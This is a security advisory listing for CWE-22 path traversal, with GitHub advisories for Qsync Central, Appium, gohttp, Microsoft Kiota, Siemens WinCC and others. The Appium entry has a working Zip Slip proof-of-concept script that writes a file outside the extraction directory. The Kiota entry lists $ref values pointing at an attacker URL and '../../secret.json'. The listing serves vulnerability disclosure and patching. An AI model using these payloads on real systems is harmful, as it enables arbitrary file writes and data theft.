CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13220 vulnerabilities reference this CWE, most recent first.
GHSA-RFV8-2G5X-RM48
Vulnerability from github – Published: 2026-02-11 15:30 – Updated: 2026-02-12 15:32A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.
We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.4 ( 2026/01/20 ) and later
{
"affected": [],
"aliases": [
"CVE-2025-68406"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T13:15:58Z",
"severity": "LOW"
},
"details": "A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.4 ( 2026/01/20 ) and later",
"id": "GHSA-rfv8-2g5x-rm48",
"modified": "2026-02-12T15:32:43Z",
"published": "2026-02-11T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68406"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-26-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RFX7-4XW3-GH4M
Vulnerability from github – Published: 2026-03-11 00:22 – Updated: 2026-03-11 00:22Summary
@appium/support contains a ZIP extraction implementation (extractAllTo() via ZipExtractor.extract()) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of packages/support/lib/zip.js creates an Error object but never throws it, allowing malicious ZIP entries with ../ path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the fileNamesEncoding option.
Severity
Medium (CVSS 3.1: 6.5)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
- Attack Vector: Network — malicious ZIP files can be supplied over the network (e.g., app packages via URL)
- Attack Complexity: Low — no special conditions required beyond providing a crafted ZIP
- Privileges Required: None — no authentication needed to supply a malicious archive
- User Interaction: Required — a user or automation system must initiate extraction of the attacker's archive
- Scope: Unchanged — impact stays within the file system permissions of the Appium process
- Confidentiality Impact: None — the vulnerability enables file writes, not reads
- Integrity Impact: High — arbitrary file write to any location writable by the process
- Availability Impact: None — no direct availability impact
Affected Component
packages/support/lib/zip.js—ZipExtractor.extract()(line 88) andZipExtractor.extractEntry()(lines 111-145)
CWE
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Description
Missing throw renders Zip Slip protection non-functional
The ZipExtractor.extract() method contains a path traversal check intended to prevent Zip Slip attacks. However, the check creates an Error object as a bare expression without the throw keyword, making it a no-op:
// packages/support/lib/zip.js, lines 80-93
const destDir = path.dirname(path.join(dir, fileName));
try {
await fs.mkdir(destDir, {recursive: true});
const canonicalDestDir = await fs.realpath(destDir);
const relativeDestDir = path.relative(dir, canonicalDestDir);
if (relativeDestDir.split(path.sep).includes('..')) {
new Error( // <-- BUG: missing `throw`
`Out of bound path "${canonicalDestDir}" found while processing file ${fileName}`
);
}
await this.extractEntry(entry); // extraction proceeds unconditionally
The presence of a well-formatted error message and surrounding try/catch block (lines 95-99) strongly suggests the throw keyword was accidentally omitted.
yauzl does not provide its own traversal protection
The upstream yauzl library explicitly does not offer path traversal protection regardless of the decodeStrings setting. This means the vulnerability affects all JS-based extractions through ZipExtractor, not only those where fileNamesEncoding is set. The fileNamesEncoding option bypasses yauzl's string decoding (decodeStrings: false), but even with decodeStrings: true, yauzl passes through ../ path components without rejection.
Unprotected write sinks
The extractEntry method writes to attacker-controlled paths with no additional validation:
// packages/support/lib/zip.js, lines 111-145
const fileName = this.extractFileName(entry);
const dest = path.join(dir, fileName); // resolves ../pwned.txt outside dir
// ...
await fs.symlink(link, dest); // symlink creation (line 143)
await pipeline(readStream, fs.createWriteStream(dest, {mode: procMode})); // file write (line 145)
Additionally, _extractEntryTo() (line 263) used by readEntries() has no traversal check at all:
const dstPath = path.resolve(destDir, entry.fileName); // no validation
Default code path is vulnerable
The extractAllTo() function uses the JS-based ZipExtractor by default. The system unzip fallback (useSystemUnzip: true) must be explicitly enabled and only provides protection if the system binary succeeds:
// packages/support/lib/zip.js, lines 203-210
if (opts.useSystemUnzip) {
try {
await extractWithSystemUnzip(zipFilePath, dir);
return;
} catch (err) {
log.warn('unzip failed; falling back to JS: %s', err.stderr || err.message);
// Falls through to the vulnerable JS implementation
}
}
Proof of Concept
# 1) Install deps for the support package
cd packages/support
npm install --omit=dev --ignore-scripts --no-audit --no-fund --workspaces=false
# 2) Create a malicious ZIP containing a traversal entry
export WORK=/tmp/appium_zip_slip_poc
rm -rf "$WORK" && mkdir -p "$WORK/dest"
python3 - <<'PY'
import zipfile, os
work = os.environ['WORK']
zip_path = os.path.join(work, 'evil.zip')
with zipfile.ZipFile(zip_path, 'w') as z:
z.writestr('../pwned.txt', 'ZIPSLIP_MARKER')
print('created', zip_path)
PY
# 3) Extract with the JS implementation (default path, no fileNamesEncoding needed)
node --experimental-default-type=module --experimental-specifier-resolution=node - <<'NODE'
import path from 'node:path';
import fs from 'node:fs/promises';
import { extractAllTo } from './lib/zip.js';
const work = process.env.WORK;
const zipPath = path.join(work, 'evil.zip');
const dest = path.join(work, 'dest');
await extractAllTo(zipPath, dest, { useSystemUnzip: false });
const outside = path.join(work, 'pwned.txt');
console.log('outside exists?', await fs.stat(outside).then(() => true, () => false));
console.log('outside content:', (await fs.readFile(outside, 'utf8')).trim());
NODE
# Expected output:
# outside exists? true
# outside content: ZIPSLIP_MARKER
Impact
- Arbitrary file write: An attacker can write files to any location writable by the Appium process, outside the intended extraction directory.
- Arbitrary symlink creation: Malicious ZIP entries with symlink attributes can create symlinks pointing to arbitrary targets, enabling further attacks on subsequent file operations.
- Potential code execution: By overwriting scripts, configuration files,
node_modulescontents, cron jobs, shell profiles, or other executable artifacts, arbitrary file write can chain into remote code execution. - Affects all JS-based extractions: The default code path (without
useSystemUnzip: true) is vulnerable regardless of whetherfileNamesEncodingis set.
Recommended Remediation
Option 1: Add the missing throw keyword (preferred — minimal fix)
// packages/support/lib/zip.js, line 88
if (relativeDestDir.split(path.sep).includes('..')) {
throw new Error( // Add `throw`
`Out of bound path "${canonicalDestDir}" found while processing file ${fileName}`
);
}
This is the lowest-risk fix: it restores the clearly intended behavior of the existing check. The try/catch block at lines 95-99 will catch the error, set canceled = true, close the zip, and reject the promise — exactly the designed error-handling flow.
Option 2: Add traversal protection to _extractEntryTo as well
The _extractEntryTo function (line 262) also lacks a traversal check. For defense-in-depth, add validation there too:
async function _extractEntryTo(zipFile, entry, destDir) {
const dstPath = path.resolve(destDir, entry.fileName);
const canonicalDest = path.resolve(dstPath);
const canonicalDestDir = path.resolve(destDir);
if (!canonicalDest.startsWith(canonicalDestDir + path.sep) && canonicalDest !== canonicalDestDir) {
throw new Error(
`Out of bound path "${canonicalDest}" found while processing file ${entry.fileName}`
);
}
// ... rest of function
}
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.0.5"
},
"package": {
"ecosystem": "npm",
"name": "@appium/support"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30973"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T00:22:38Z",
"nvd_published_at": "2026-03-10T18:18:56Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`@appium/support` contains a ZIP extraction implementation (`extractAllTo()` via `ZipExtractor.extract()`) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of `packages/support/lib/zip.js` creates an `Error` object but never throws it, allowing malicious ZIP entries with `../` path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the `fileNamesEncoding` option.\n\n## Severity\n\n**Medium** (CVSS 3.1: 6.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network \u2014 malicious ZIP files can be supplied over the network (e.g., app packages via URL)\n- **Attack Complexity:** Low \u2014 no special conditions required beyond providing a crafted ZIP\n- **Privileges Required:** None \u2014 no authentication needed to supply a malicious archive\n- **User Interaction:** Required \u2014 a user or automation system must initiate extraction of the attacker\u0027s archive\n- **Scope:** Unchanged \u2014 impact stays within the file system permissions of the Appium process\n- **Confidentiality Impact:** None \u2014 the vulnerability enables file writes, not reads\n- **Integrity Impact:** High \u2014 arbitrary file write to any location writable by the process\n- **Availability Impact:** None \u2014 no direct availability impact\n\n## Affected Component\n\n- `packages/support/lib/zip.js` \u2014 `ZipExtractor.extract()` (line 88) and `ZipExtractor.extractEntry()` (lines 111-145)\n\n## CWE\n\n- **CWE-22**: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\n\n## Description\n\n### Missing `throw` renders Zip Slip protection non-functional\n\nThe `ZipExtractor.extract()` method contains a path traversal check intended to prevent Zip Slip attacks. However, the check creates an `Error` object as a bare expression without the `throw` keyword, making it a no-op:\n\n```javascript\n// packages/support/lib/zip.js, lines 80-93\nconst destDir = path.dirname(path.join(dir, fileName));\ntry {\n await fs.mkdir(destDir, {recursive: true});\n\n const canonicalDestDir = await fs.realpath(destDir);\n const relativeDestDir = path.relative(dir, canonicalDestDir);\n\n if (relativeDestDir.split(path.sep).includes(\u0027..\u0027)) {\n new Error( // \u003c-- BUG: missing `throw`\n `Out of bound path \"${canonicalDestDir}\" found while processing file ${fileName}`\n );\n }\n\n await this.extractEntry(entry); // extraction proceeds unconditionally\n```\n\nThe presence of a well-formatted error message and surrounding try/catch block (lines 95-99) strongly suggests the `throw` keyword was accidentally omitted.\n\n### yauzl does not provide its own traversal protection\n\nThe upstream `yauzl` library explicitly [does not offer path traversal protection](https://github.com/thejoshwolfe/yauzl#no-path-traversal-protection) regardless of the `decodeStrings` setting. This means the vulnerability affects **all** JS-based extractions through `ZipExtractor`, not only those where `fileNamesEncoding` is set. The `fileNamesEncoding` option bypasses yauzl\u0027s string decoding (`decodeStrings: false`), but even with `decodeStrings: true`, yauzl passes through `../` path components without rejection.\n\n### Unprotected write sinks\n\nThe `extractEntry` method writes to attacker-controlled paths with no additional validation:\n\n```javascript\n// packages/support/lib/zip.js, lines 111-145\nconst fileName = this.extractFileName(entry);\nconst dest = path.join(dir, fileName); // resolves ../pwned.txt outside dir\n// ...\nawait fs.symlink(link, dest); // symlink creation (line 143)\nawait pipeline(readStream, fs.createWriteStream(dest, {mode: procMode})); // file write (line 145)\n```\n\nAdditionally, `_extractEntryTo()` (line 263) used by `readEntries()` has no traversal check at all:\n\n```javascript\nconst dstPath = path.resolve(destDir, entry.fileName); // no validation\n```\n\n### Default code path is vulnerable\n\nThe `extractAllTo()` function uses the JS-based `ZipExtractor` by default. The system unzip fallback (`useSystemUnzip: true`) must be explicitly enabled and only provides protection if the system binary succeeds:\n\n```javascript\n// packages/support/lib/zip.js, lines 203-210\nif (opts.useSystemUnzip) {\n try {\n await extractWithSystemUnzip(zipFilePath, dir);\n return;\n } catch (err) {\n log.warn(\u0027unzip failed; falling back to JS: %s\u0027, err.stderr || err.message);\n // Falls through to the vulnerable JS implementation\n }\n}\n```\n\n## Proof of Concept\n\n```bash\n# 1) Install deps for the support package\ncd packages/support\nnpm install --omit=dev --ignore-scripts --no-audit --no-fund --workspaces=false\n\n# 2) Create a malicious ZIP containing a traversal entry\nexport WORK=/tmp/appium_zip_slip_poc\nrm -rf \"$WORK\" \u0026\u0026 mkdir -p \"$WORK/dest\"\npython3 - \u003c\u003c\u0027PY\u0027\nimport zipfile, os\nwork = os.environ[\u0027WORK\u0027]\nzip_path = os.path.join(work, \u0027evil.zip\u0027)\nwith zipfile.ZipFile(zip_path, \u0027w\u0027) as z:\n z.writestr(\u0027../pwned.txt\u0027, \u0027ZIPSLIP_MARKER\u0027)\nprint(\u0027created\u0027, zip_path)\nPY\n\n# 3) Extract with the JS implementation (default path, no fileNamesEncoding needed)\nnode --experimental-default-type=module --experimental-specifier-resolution=node - \u003c\u003c\u0027NODE\u0027\nimport path from \u0027node:path\u0027;\nimport fs from \u0027node:fs/promises\u0027;\nimport { extractAllTo } from \u0027./lib/zip.js\u0027;\n\nconst work = process.env.WORK;\nconst zipPath = path.join(work, \u0027evil.zip\u0027);\nconst dest = path.join(work, \u0027dest\u0027);\n\nawait extractAllTo(zipPath, dest, { useSystemUnzip: false });\n\nconst outside = path.join(work, \u0027pwned.txt\u0027);\nconsole.log(\u0027outside exists?\u0027, await fs.stat(outside).then(() =\u003e true, () =\u003e false));\nconsole.log(\u0027outside content:\u0027, (await fs.readFile(outside, \u0027utf8\u0027)).trim());\nNODE\n# Expected output:\n# outside exists? true\n# outside content: ZIPSLIP_MARKER\n```\n\n## Impact\n\n- **Arbitrary file write**: An attacker can write files to any location writable by the Appium process, outside the intended extraction directory.\n- **Arbitrary symlink creation**: Malicious ZIP entries with symlink attributes can create symlinks pointing to arbitrary targets, enabling further attacks on subsequent file operations.\n- **Potential code execution**: By overwriting scripts, configuration files, `node_modules` contents, cron jobs, shell profiles, or other executable artifacts, arbitrary file write can chain into remote code execution.\n- **Affects all JS-based extractions**: The default code path (without `useSystemUnzip: true`) is vulnerable regardless of whether `fileNamesEncoding` is set.\n\n## Recommended Remediation\n\n### Option 1: Add the missing `throw` keyword (preferred \u2014 minimal fix)\n\n```javascript\n// packages/support/lib/zip.js, line 88\nif (relativeDestDir.split(path.sep).includes(\u0027..\u0027)) {\n throw new Error( // Add `throw`\n `Out of bound path \"${canonicalDestDir}\" found while processing file ${fileName}`\n );\n}\n```\n\nThis is the lowest-risk fix: it restores the clearly intended behavior of the existing check. The try/catch block at lines 95-99 will catch the error, set `canceled = true`, close the zip, and reject the promise \u2014 exactly the designed error-handling flow.\n\n### Option 2: Add traversal protection to `_extractEntryTo` as well\n\nThe `_extractEntryTo` function (line 262) also lacks a traversal check. For defense-in-depth, add validation there too:\n\n```javascript\nasync function _extractEntryTo(zipFile, entry, destDir) {\n const dstPath = path.resolve(destDir, entry.fileName);\n const canonicalDest = path.resolve(dstPath);\n const canonicalDestDir = path.resolve(destDir);\n if (!canonicalDest.startsWith(canonicalDestDir + path.sep) \u0026\u0026 canonicalDest !== canonicalDestDir) {\n throw new Error(\n `Out of bound path \"${canonicalDest}\" found while processing file ${entry.fileName}`\n );\n }\n // ... rest of function\n}\n```\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-rfx7-4xw3-gh4m",
"modified": "2026-03-11T00:22:38Z",
"published": "2026-03-11T00:22:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/appium/appium/security/advisories/GHSA-rfx7-4xw3-gh4m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30973"
},
{
"type": "PACKAGE",
"url": "https://github.com/appium/appium"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium/releases/tag/@appium/support@7.0.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "@appium/support has a Zip Slip arbitrary file write in its ZIP extraction"
}
GHSA-RFXV-8GHR-G333
Vulnerability from github – Published: 2022-05-17 01:49 – Updated: 2022-05-17 01:49Directory traversal vulnerability in the web player in NeoAxis NeoAxis web player 1.4 and earlier allows user-assisted remote attackers to write arbitrary files via a .. (dot dot) in a filename in the neoaxis_web_application_win32.zip ZIP archive.
{
"affected": [],
"aliases": [
"CVE-2012-0907"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-01-20T17:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the web player in NeoAxis NeoAxis web player 1.4 and earlier allows user-assisted remote attackers to write arbitrary files via a .. (dot dot) in a filename in the neoaxis_web_application_win32.zip ZIP archive.",
"id": "GHSA-rfxv-8ghr-g333",
"modified": "2022-05-17T01:49:38Z",
"published": "2022-05-17T01:49:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0907"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/72427"
},
{
"type": "WEB",
"url": "http://aluigi.altervista.org/adv/neoaxis_1-adv.txt"
},
{
"type": "WEB",
"url": "http://osvdb.org/78311"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RG2Q-2Q6C-9X92
Vulnerability from github – Published: 2022-09-10 00:00 – Updated: 2022-09-11 00:00An issue was discovered in Shirne CMS 1.2.0. There is a Path Traversal vulnerability which could cause arbitrary file read via /static/ueditor/php/controller.php
{
"affected": [],
"aliases": [
"CVE-2022-37299"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-09T15:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Shirne CMS 1.2.0. There is a Path Traversal vulnerability which could cause arbitrary file read via /static/ueditor/php/controller.php",
"id": "GHSA-rg2q-2q6c-9x92",
"modified": "2022-09-11T00:00:30Z",
"published": "2022-09-10T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37299"
},
{
"type": "WEB",
"url": "https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RG3P-P27C-2F39
Vulnerability from github – Published: 2026-05-19 15:31 – Updated: 2026-06-04 19:00An issue in gohttp commit 34ea51 allows attackers to execute a directory traversal via supplying a crafted request.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/itang/gohttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20170713062009-34ea516ae408"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-70950"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T19:00:37Z",
"nvd_published_at": "2026-05-19T15:16:27Z",
"severity": "HIGH"
},
"details": "An issue in gohttp commit 34ea51 allows attackers to execute a directory traversal via supplying a crafted request.",
"id": "GHSA-rg3p-p27c-2f39",
"modified": "2026-06-04T19:00:37Z",
"published": "2026-05-19T15:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70950"
},
{
"type": "WEB",
"url": "https://github.com/itang/gohttp/issues/13"
},
{
"type": "WEB",
"url": "https://gist.github.com/Lime-Cocoa/202127ae5f4dcc4b39909ce7ac1c8466"
},
{
"type": "PACKAGE",
"url": "https://github.com/itang/gohttp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "gohttp is vulnerable to directory traversal via a crafted request"
}
GHSA-RG3V-P933-JRXW
Vulnerability from github – Published: 2022-05-17 05:13 – Updated: 2022-05-17 05:13Directory traversal vulnerability in the web server in Siemens WinCC before 7.2, as used in SIMATIC PCS7 before 8.0 SP1 and other products, allows remote authenticated users to read arbitrary files via vectors involving a query for a pathname.
{
"affected": [],
"aliases": [
"CVE-2013-0679"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-03-21T15:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the web server in Siemens WinCC before 7.2, as used in SIMATIC PCS7 before 8.0 SP1 and other products, allows remote authenticated users to read arbitrary files via vectors involving a query for a pathname.",
"id": "GHSA-rg3v-p933-jrxw",
"modified": "2022-05-17T05:13:12Z",
"published": "2022-05-17T05:13:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0679"
},
{
"type": "WEB",
"url": "http://ics-cert.us-cert.gov/pdf/ICSA-13-079-02.pdf"
},
{
"type": "WEB",
"url": "http://www.siemens.com/corporate-technology/pool/de/forschungsfelder/siemens_security_advisory_ssa-714398.pdf"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RG4C-G979-GC45
Vulnerability from github – Published: 2022-05-02 03:19 – Updated: 2022-05-02 03:19Directory traversal vulnerability in login.php in OneOrZero Helpdesk 1.6.5.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the default_language parameter.
{
"affected": [],
"aliases": [
"CVE-2009-0886"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-03-12T15:20:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in login.php in OneOrZero Helpdesk 1.6.5.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the default_language parameter.",
"id": "GHSA-rg4c-g979-gc45",
"modified": "2022-05-02T03:19:06Z",
"published": "2022-05-02T03:19:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0886"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/49114"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/8168"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/8169"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/34029"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RG4H-FPCP-2QM8
Vulnerability from github – Published: 2026-07-24 16:10 – Updated: 2026-07-24 16:10Summary
Microsoft Kiota resolved OpenAPI $refs by fetching remote http(s) URLs and reading local files
(including absolute / out-of-tree paths), inlining the referenced schema into the generated client.
Running kiota generate on a spec whose $ref pointed at an attacker/internal URL or an arbitrary
local file yielded SSRF, remote file inclusion, and local file inclusion. Verified on 1.32.3 / 1.32.4.
Details
$ref: http://attacker/internal-evil.json#/...→ build host fetches the URL (SSRF) and inlines the remote schema (RFI); confirmed propertyREMOTE_KIOTA_PROPin the generated client.$ref: /abs/path.json#/...or../../secret.json#/...→ Kiota reads the out-of-tree local file and inlines its schema (LFI); confirmedLeakedschema in the generated client. Resolution is transitive across nesting levels.
Kiota escapes its output sinks (comments/strings/identifiers), so attacker-controlled remote/local content cannot break out into code — no RCE. The chain stops at SSRF + RFI + LFI.
Impact
Build-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and inclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened generator (it resists the code-injection class).
The relevant threat is not "change the generated output" (an attacker who fully controls the description can already do that) but the side effects on the build host: outbound requests from inside the CI network (cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents are then inlined into the generated — and typically committed/published — client. It also bypasses controls that review the description document but not externally-referenced content.
Patches
Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now
default-deny: a new AllowedExternalOriginsStreamLoader refuses to load any external $ref — remote
http(s) URLs and local file paths alike — unless its origin/path is explicitly allow-listed. A new
--allowed-external-origins parameter (added to the commands that load OpenAPI descriptions) opts specific
origins back in, accepting *, full URIs, URI patterns, full paths, relative paths, or path patterns
(wildcards supported). With no allow-list entries, external references are not loaded at all.
Remediation
Upgrade to Kiota 1.32.5 or later. External references now require explicit opt-in via
--allowed-external-origins; add only trusted origins/paths.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.OpenApi.Kiota"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.32.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.OpenApi.Kiota.Builder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.32.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59867"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-829",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:10:17Z",
"nvd_published_at": "2026-07-16T16:19:15Z",
"severity": "HIGH"
},
"details": "## Summary\n\nMicrosoft Kiota resolved OpenAPI `$ref`s by fetching remote `http(s)` URLs and reading local files\n(including absolute / out-of-tree paths), inlining the referenced schema into the generated client.\nRunning `kiota generate` on a spec whose `$ref` pointed at an attacker/internal URL or an arbitrary\nlocal file yielded SSRF, remote file inclusion, and local file inclusion. Verified on **1.32.3 / 1.32.4**.\n\n### Details\n\n- `$ref: http://attacker/internal-evil.json#/...` \u2192 build host fetches the URL (SSRF) and inlines the\n remote schema (RFI); confirmed property `REMOTE_KIOTA_PROP` in the generated client.\n- `$ref: /abs/path.json#/...` or `../../secret.json#/...` \u2192 Kiota reads the out-of-tree local file and\n inlines its schema (LFI); confirmed `Leaked` schema in the generated client. Resolution is transitive\n across nesting levels.\n\nKiota **escapes** its output sinks (comments/strings/identifiers), so attacker-controlled remote/local\ncontent cannot break out into code \u2014 no RCE. The chain stops at SSRF + RFI + LFI.\n\n### Impact\n\nBuild-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and\ninclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or\nattacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened\ngenerator (it resists the code-injection class).\n\nThe relevant threat is not \"change the generated output\" (an attacker who fully controls the description can\nalready do that) but the **side effects on the build host**: outbound requests from inside the CI network\n(cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents\nare then inlined into the generated \u2014 and typically committed/published \u2014 client. It also bypasses controls\nthat review the description document but not externally-referenced content.\n\n### Patches\n\nFixed in **1.32.5** (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now\n**default-deny**: a new `AllowedExternalOriginsStreamLoader` refuses to load any external `$ref` \u2014 remote\n`http(s)` URLs and local file paths alike \u2014 unless its origin/path is explicitly allow-listed. A new\n`--allowed-external-origins` parameter (added to the commands that load OpenAPI descriptions) opts specific\norigins back in, accepting `*`, full URIs, URI patterns, full paths, relative paths, or path patterns\n(wildcards supported). With no allow-list entries, external references are not loaded at all.\n\n### Remediation\n\nUpgrade to Kiota **1.32.5** or later. External references now require explicit opt-in via\n`--allowed-external-origins`; add only trusted origins/paths.",
"id": "GHSA-rg4h-fpcp-2qm8",
"modified": "2026-07-24T16:10:17Z",
"published": "2026-07-24T16:10:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/security/advisories/GHSA-rg4h-fpcp-2qm8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59867"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/pull/7888"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/commit/cccd798027f0a20db796b3df6c64f9897a39d7b1"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/kiota"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/releases/tag/v1.32.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Microsoft Kiota: Generation-time SSRF + remote/local file inclusion via unrestricted $ref"
}
GHSA-RG63-9X4C-C4W9
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-07-11 00:00MetInfo 7.0 beta is affected by a file modification vulnerability. Attackers can delete and modify ini files in app/system/language/admin/language_general.class.php and app/system/include/function/file.func.php.
{
"affected": [],
"aliases": [
"CVE-2020-20907"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-24T18:15:00Z",
"severity": "CRITICAL"
},
"details": "MetInfo 7.0 beta is affected by a file modification vulnerability. Attackers can delete and modify ini files in app/system/language/admin/language_general.class.php and app/system/include/function/file.func.php.",
"id": "GHSA-rg63-9x4c-c4w9",
"modified": "2022-07-11T00:00:20Z",
"published": "2022-05-24T19:03:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-20907"
},
{
"type": "WEB",
"url": "https://github.com/cby234/cve_request/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/cby234/cve_request/issues/2"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/23.html"
}
],
